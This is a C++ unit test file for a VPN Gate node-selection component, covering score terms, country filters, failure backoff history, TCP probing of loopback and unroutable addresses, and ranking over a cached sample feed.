using ovg::vpngate::Remote;
namespace {
Node make_node(const std::string &name, const std::string &ip,
const std::string &cc, int64_t score, int64_t speed,
int sessions) {
Node n;
n.host_name = name;
n.ip = ip;
n.country_short = cc;
n.country_long = cc;
n.api.score = score;
n.api.speed_bps = speed;
n.api.num_sessions = sessions;
n.api.uptime_ms = 3LL * 86400 * 1000;
n.profile = "client\nremote " + ip + " 443 tcp\n";
n.remotes.push_back(Remote{ip, 443, Proto::Tcp});
return n;
}
std::string temp_path(const char *leaf) {
auto p = std::filesystem::temp_directory_path() /
("ovg_test_" + std::string(leaf));
std::error_code ec;
std::filesystem::remove(p, ec);
return p.string();
}
} // namespace
// ---------------------------------------------------------------------------
// Term shapes
OVG_TEST(TermsAreBoundedAndMonotonic) {
CHECK_EQ(terms::score_term(0), 0.0);
CHECK_LT(terms::score_term(1000), terms::score_term(1000000));
CHECK(terms::score_term(1000000000LL) <= 1.0);
CHECK_EQ(terms::speed_term(0), 0.0);
CHECK_LT(terms::speed_term(1000000), terms::speed_term(100000000));
CHECK(terms::speed_term(1000000000000LL) <= 1.0);
// Fewer sessions is better.
CHECK_GT(terms::sessions_term(0), terms::sessions_term(20));
CHECK_GT(terms::sessions_term(20), terms::sessions_term(200));
CHECK_NEAR(terms::sessions_term(0), 1.0, 1e-9);
CHECK_NEAR(terms::sessions_term(20), 0.5, 1e-9);
// Lower RTT is better; unmeasured is mediocre, not zero.
CHECK_GT(terms::rtt_term(10), terms::rtt_term(200));
CHECK_NEAR(terms::rtt_term(0), 1.0, 1e-9);
CHECK_NEAR(terms::rtt_term(100), 0.5, 1e-9);
CHECK_GT(terms::rtt_term(-1), 0.0);
CHECK_LT(terms::rtt_term(-1), terms::rtt_term(100));
CHECK_EQ(terms::uptime_term(0), 0.0);
CHECK_NEAR(terms::uptime_term(7LL * 86400 * 1000), 1.0, 1e-9);
CHECK_NEAR(terms::uptime_term(70LL * 86400 * 1000), 1.0, 1e-9); // clamped
}
OVG_TEST(ScoreIsAbsoluteNotSetRelative) {
// The same node must score identically whether it is ranked alone or among
// much better company. This is what makes the switch hysteresis meaningful.
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
const Node target = make_node("target", "1.1.1.1", "JP", 500000, 50000000, 30);
std::vector<Node> alone{target};
std::vector<Node> crowded{
target,
make_node("giant", "2.2.2.2", "JP", 9000000, 900000000, 1),
make_node("tiny", "3.3.3.3", "JP", 10, 100, 900),
};
auto a = scorer.rank_by_prior(alone, history);
auto b = scorer.rank_by_prior(crowded, history);
CHECK_EQ(a.size(), size_t(1));
CHECK_EQ(b.size(), size_t(3));
double crowded_target = -1;
for (const auto &s : b)
if (s.node->host_name == "target") crowded_target = s.score;
CHECK_NEAR(a[0].score, crowded_target, 1e-12);
}
OVG_TEST(RankOrdersBetterNodesFirst) {
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
std::vector<Node> nodes{
make_node("weak", "1.1.1.1", "JP", 100, 1000000, 400),
make_node("strong", "2.2.2.2", "JP", 5000000, 500000000, 5),
make_node("middling", "3.3.3.3", "JP", 200000, 20000000, 60),
};
auto ranked = scorer.rank_by_prior(nodes, history);
CHECK_EQ(ranked.size(), size_t(3));
CHECK_EQ(ranked[0].node->host_name, std::string("strong"));
CHECK_EQ(ranked[2].node->host_name, std::string("weak"));
}
OVG_TEST(CountryFiltersApply) {
SelectorConfig cfg;
cfg.country_allow = {"JP", "KR"};
Scorer scorer(cfg);
HistoryStore history("", cfg);
std::vector<Node> nodes{
make_node("jp", "1.1.1.1", "JP", 100, 1000, 1),
make_node("kr", "2.2.2.2", "KR", 100, 1000, 1),
make_node("ru", "3.3.3.3", "RU", 900000, 900000000, 1),
};
auto ranked = scorer.rank_by_prior(nodes, history);
CHECK_EQ(ranked.size(), size_t(2));
SelectorConfig deny;
deny.country_deny = {"RU"};
Scorer s2(deny);
CHECK_EQ(s2.rank_by_prior(nodes, history).size(), size_t(2));
}
OVG_TEST(NodeWithNoRemotesIsFilteredOut) {
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
auto broken = make_node("broken", "1.1.1.1", "JP", 900000, 900000000, 1);
broken.remotes.clear();
std::vector<Node> nodes{broken};
CHECK_EQ(scorer.rank_by_prior(nodes, history).size(), size_t(0));
}
OVG_TEST(BackedOffNodesSinkToTheBottom) {
SelectorConfig cfg;
Scorer scorer(cfg);
HistoryStore history("", cfg);
std::vector<Node> nodes{
make_node("good", "1.1.1.1", "JP", 5000000, 500000000, 1),
make_node("meh", "2.2.2.2", "JP", 100, 1000, 300),
};
// Fail the strong node repeatedly; it must still be *returned* (as a last
// resort) but ranked last.
for (int i = 0; i < 3; ++i) history.record_failure(nodes[0].id());
CHECK(history.is_backed_off(nodes[0].id()));
auto ranked = scorer.rank_by_prior(nodes, history);
CHECK_EQ(ranked.size(), size_t(2));
CHECK_EQ(ranked[0].node->host_name, std::string("meh"));
CHECK(ranked[1].backed_off);
}
// ---------------------------------------------------------------------------
// History
OVG_TEST(HistoryUnknownNodeIsNeutral) {
SelectorConfig cfg;
HistoryStore h("", cfg);
const auto s = h.get("nobody@0.0.0.0");
CHECK_NEAR(s.success_rate(), 0.5, 1e-12);
CHECK(!h.is_backed_off("nobody@0.0.0.0"));
}
OVG_TEST(HistoryTracksSuccessAndFailure) {
SelectorConfig cfg;
HistoryStore h("", cfg);
h.record_success("n@1", 50);
h.record_success("n@1", 70);
h.record_failure("n@1");
const auto s = h.get("n@1");
CHECK_EQ(s.successes, uint32_t(2));
CHECK_EQ(s.failures, uint32_t(1));
CHECK_EQ(s.consecutive_failures, uint32_t(1));
CHECK_NEAR(s.success_rate(), 2.0 / 3.0, 1e-12);
// EWMA sits between the two samples, nearer the recent one.
CHECK_GT(s.ewma_rtt_ms, 50.0);
CHECK_LT(s.ewma_rtt_ms, 70.0);
}
OVG_TEST(HistorySuccessClearsConsecutiveFailures) {
SelectorConfig cfg;
HistoryStore h("", cfg);
h.record_failure("n@1");
h.record_failure("n@1");
CHECK(h.is_backed_off("n@1"));
h.record_success("n@1", 20);
CHECK_EQ(h.get("n@1").consecutive_failures, uint32_t(0));
CHECK(!h.is_backed_off("n@1"));
}
OVG_TEST(HistoryBackoffGrowsAndIsCapped) {
SelectorConfig cfg;
cfg.failure_backoff_initial = Millis(1000);
cfg.failure_backoff_max = Millis(8000);
HistoryStore h("", cfg);
h.record_failure("n@1");
const auto one = h.backoff_remaining("n@1");
CHECK_GT(one.count(), int64_t(0));
CHECK(one.count() <= 1000);
h.record_failure("n@1");
CHECK_GT(h.backoff_remaining("n@1").count(), one.count());
// Far past the cap: must not overflow or explode.
for (int i = 0; i < 60; ++i) h.record_failure("n@1");
CHECK(h.backoff_remaining("n@1").count() <= 8000);
CHECK_GT(h.backoff_remaining("n@1").count(), int64_t(0));
}
OVG_TEST(HistoryRoundTripsThroughDisk) {
const auto path = temp_path("history.tsv");
SelectorConfig cfg;
{
HistoryStore h(path, cfg);
h.record_success("alpha@1.1.1.1", 42);
h.record_failure("beta@2.2.2.2");
h.record_throughput("alpha@1.1.1.1", 1000000);
h.save();
}
{
HistoryStore h(path, cfg);
h.load();
CHECK_EQ(h.size(), size_t(2));
const auto a = h.get("alpha@1.1.1.1");
CHECK_EQ(a.successes, uint32_t(1));
CHECK_NEAR(a.ewma_rtt_ms, 42.0, 1e-6);
CHECK_NEAR(a.ewma_throughput_bps, 1000000.0, 1.0);
CHECK_EQ(h.get("beta@2.2.2.2").failures, uint32_t(1));
}
std::filesystem::remove(path);
}
OVG_TEST(HistorySurvivesCorruptLines) {
const auto path = temp_path("history_corrupt.tsv");
{
std::FILE *f = std::fopen(path.c_str(), "w");
CHECK(f != nullptr);
std::fputs("# header\n", f);
std::fputs("good@1.1.1.1 5 1 0 0 1700000000000 33.5 1000\n", f);
std::fputs("this line is nonsense\n", f);
std::fputs("also@2.2.2.2 1 0 0 0 1700000000000 12.0 500\n", f);
std::fclose(f);
}
SelectorConfig cfg;
HistoryStore h(path, cfg);
h.load();
// One bad line costs one node, not the file.
CHECK_EQ(h.size(), size_t(2));
CHECK_EQ(h.get("good@1.1.1.1").successes, uint32_t(5));
std::filesystem::remove(path);
}
// ---------------------------------------------------------------------------
// Prober
OVG_TEST(ProberMeasuresLocalListener) {
asio::io_context io;
asio::ip::tcp::acceptor acc(io, asio::ip::tcp::endpoint(
asio::ip::make_address("127.0.0.1"), 0));
acc.listen();
const uint16_t port = acc.local_endpoint().port();
// Accept and immediately drop; the prober only times the handshake.
std::function<void()> accept_one = [&] {
auto sock = std::make_shared<asio::ip::tcp::socket>(io);
acc.async_accept(*sock, [sock, &accept_one](std::error_code ec) {
if (!ec) accept_one();
});
};
accept_one();
SelectorConfig cfg;
cfg.probe_samples = 2;
cfg.probe_timeout = Millis(1000);
Prober prober(io, cfg);
std::vector<ProbeResult> got;
prober.probe({ProbeTarget{"live", "127.0.0.1", port},
// Port 1 on loopback: nothing listens, connect is refused fast.
ProbeTarget{"dead", "127.0.0.1", 1}},
[&](std::vector<ProbeResult> r) {
got = std::move(r);
acc.close();
});
io.run();
CHECK_EQ(got.size(), size_t(2));
CHECK_EQ(got[0].node_id, std::string("live"));
CHECK(got[0].reachable);
CHECK_EQ(got[0].samples_ok, 2);
CHECK(got[0].rtt_ms >= 0.0);
CHECK_EQ(got[1].node_id, std::string("dead"));
CHECK(!got[1].reachable);
}
OVG_TEST(ProberHandlesEmptyBatch) {
asio::io_context io;
SelectorConfig cfg;
Prober prober(io, cfg);
bool called = false;
prober.probe({}, [&](std::vector<ProbeResult> r) {
called = true;
CHECK(r.empty());
});
io.run();
CHECK(called);
}
OVG_TEST(ProberTimesOutOnBlackhole) {
// TEST-NET-1 (RFC 5737) is guaranteed not to be routable on a normal network,
// so the connect hangs and the timeout path is what completes the probe.
// Some sandboxes put a transparent proxy in front of all outbound TCP, which
// accepts everything and makes the case untestable; detect that and skip
// rather than assert something the environment cannot provide.
{
asio::io_context probe_io;
asio::ip::tcp::socket s(probe_io);
std::error_code ec = asio::error::would_block;
s.async_connect(
asio::ip::tcp::endpoint(asio::ip::make_address("192.0.2.1"), 443),
[&](std::error_code e) { ec = e; });
probe_io.run_for(std::chrono::milliseconds(300));
std::error_code ig;
s.close(ig);
if (!ec) SKIP("outbound TCP is transparently proxied here");
}
asio::io_context io;
SelectorConfig cfg;
cfg.probe_samples = 1;
cfg.probe_timeout = Millis(150);
Prober prober(io, cfg);
std::vector<ProbeResult> got;
prober.probe({ProbeTarget{"blackhole", "192.0.2.1", 443}},
[&](std::vector<ProbeResult> r) { got = std::move(r); });
io.run();
CHECK_EQ(got.size(), size_t(1));
CHECK(!got[0].reachable);
}
// ---------------------------------------------------------------------------
// Selector, end to end over the real captured feed
namespace {
// A NodeStore primed from the sample CSV via its disk cache. The API URL points
// at a dead port so no network fetch can succeed, and we never run the
// io_context far enough for one to be attempted.
std::unique_ptr<vpngate::NodeStore> primed_store(asio::io_context &io) {
VpnGateConfig vg;
vg.api_urls = {"http://127.0.0.1:1/"};
vg.cache_path = ovgtest::data_path("vpngate_sample.csv");
vg.cache_max_age = std::chrono::hours(24 * 3650);
auto store = std::make_unique<vpngate::NodeStore>(io, vg);
store->start();
return store;
}
} // namespace
OVG_TEST(SelectorRanksTheRealFeedWithoutProbing) {
asio::io_context io;
auto store = primed_store(io);
CHECK(store->has_nodes());
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, *store, history);
SelectRequest req;
req.want = 5;
req.probe = false;
std::vector<Candidate> got;
bool called = false;
sel.select(req, [&](std::vector<Candidate> c) {
called = true;
got = std::move(c);
});
CHECK(called); // the no-probe path must complete synchronously
CHECK_EQ(got.size(), size_t(5));
// Ordered best-first, and each carries the profile the tunnel will need.
for (size_t i = 1; i < got.size(); ++i) CHECK(got[i - 1].score >= got[i].score);
for (const auto &c : got) {
CHECK(!c.node.profile.empty());
CHECK(!c.node.remotes.empty());
CHECK(!c.probed);
CHECK(c.reachable);
}
store->stop();
}
OVG_TEST(SelectorHonoursExclusions) {
asio::io_context io;
auto store = primed_store(io);
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, *store, history);
SelectRequest first;
first.want = 3;
first.probe = false;
std::vector<Candidate> a;
sel.select(first, [&](std::vector<Candidate> c) { a = std::move(c); });
CHECK_EQ(a.size(), size_t(3));
// Exclude the winner -- this is what the switch controller does with the
// incumbent and with anything already draining.
SelectRequest second;
second.want = 3;
second.probe = false;
second.exclude_ids = {a[0].node.id()};
std::vector<Candidate> b;
sel.select(second, [&](std::vector<Candidate> c) { b = std::move(c); });
CHECK_EQ(b.size(), size_t(3));
for (const auto &c : b) CHECK_NE(c.node.id(), a[0].node.id());
CHECK_EQ(b[0].node.id(), a[1].node.id());
store->stop();
}
OVG_TEST(SelectorRescoreMatchesRanking) {
// The hysteresis check compares a rescored incumbent against fresh
// candidates, so the two paths must agree for an unprobed node.
asio::io_context io;
auto store = primed_store(io);
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, *store, history);
SelectRequest req;
req.want = 1;
req.probe = false;
std::vector<Candidate> got;
sel.select(req, [&](std::vector<Candidate> c) { got = std::move(c); });
CHECK_EQ(got.size(), size_t(1));
const auto again = sel.rescore(got[0].node.id());
CHECK(again.has_value());
CHECK_NEAR(again->score, got[0].score, 1e-12);
CHECK(!sel.rescore("no-such-node@0.0.0.0").has_value());
store->stop();
}
OVG_TEST(SelectorReportsNothingWhenNodeListIsEmpty) {
asio::io_context io;
VpnGateConfig vg;
vg.api_urls = {"http://127.0.0.1:1/"};
vg.cache_path = ""; // no cache, no network => no nodes
vpngate::NodeStore store(io, vg);
SelectorConfig cfg;
HistoryStore history("", cfg);
Selector sel(io, cfg, store, history);
bool called = false;
sel.select({}, [&](std::vector<Candidate> c) {
called = true;
CHECK(c.empty());
});
CHECK(called);
}
OVG_TEST(ProberRejectsNonLiteralHost) {
// Node hosts come from the .ovpn profile and are IP literals in practice.
// A name must be reported unreachable, not silently resolved -- resolving it
// here would be a DNS lookup outside the tunnel.
asio::io_context io;
SelectorConfig cfg;
Prober prober(io, cfg);
std::vector<ProbeResult> got;
prober.probe({ProbeTarget{"named", "vpn.example.com", 443}},
[&](std::vector<ProbeResult> r) { got = std::move(r); });
io.run();
CHECK_EQ(got.size(), size_t(1));
CHECK(!got[0].reachable);
CHECK_EQ(got[0].samples_ok, 0);
}
File diff suppressed because it is too large Load Diff